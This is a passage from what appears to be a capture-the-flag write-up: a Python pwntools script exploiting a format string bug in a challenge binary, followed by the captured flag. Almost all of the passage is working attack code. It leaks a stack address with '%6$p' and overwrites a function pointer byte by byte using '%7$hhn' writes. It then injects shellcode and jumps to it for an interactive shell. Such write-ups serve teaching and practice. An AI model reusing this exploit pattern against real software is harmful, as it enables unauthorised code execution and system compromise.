		res = reduce(lambda x,y: x*y, operand)
	elif "%" in prob:
		operand = map(int, prob.split("%"))
		res = reduce(lambda x,y: x%y, operand)
	else:
		print ("ERROR!!!")
	if correct == False:
		p.sendline(str(res+100))
	else:
		p.sendline(str(res))


def write_char(chcode):
	global p
	p.recvuntil(">>>")
	p.sendline("1")
	p.recvuntil("probs")
	for i in range(0, chcode):
		# log.info("solving prob ...[{}/{}]".format(i, chcode))
		solve_prob()
	solve_prob(False)

def insert_mystring(payload):
	clear_res()
	for i, c in enumerate(payload):
		log.info("insert payload [{}/{}]".format(i, len(payload)))
		write_char(ord(c))

def print_format_string():
	global p
	p.recvuntil(">>>")
	p.sendline("2")


# leak
insert_mystring("%6$p")
print_format_string()
p.recvuntil("scores")
fs_addr = int(p.recvuntil("=")[:-1], 16)
how_func_addr = fs_addr - 16 # how function address


print "fs_addr = {}".format(hex(fs_addr))
print "how_func_addr = {}".format(hex(how_func_addr))

def write_byte(addr, value):
	if value == 4:
		insert_mystring(p32(addr) + "%7$hhn")
	elif value > 4:
		insert_mystring(p32(addr) + "%" + str(value - 4) +"c%7$hhn")
	print_format_string()


# raw_input("pause~")

for i in range(0, 4):
	log.info("overwriting pc pointer [{}/4]...".format(i+1))
	byte = p32(fs_addr)[i]
	write_byte(how_func_addr+i, ord(byte))

# raw_input("pause 2")
log.info("Injecting shell code...")
insert_mystring(shellcode)
# raw_input("pause 3")

log.info("Jump to the shell code")
p.recvuntil(">>>")
p.sendline("0")
p.interactive()
# b* 0x8048c0b

Flag

TRUST{F0rM4t_str1n9_h4v3n!!}

+ Recent posts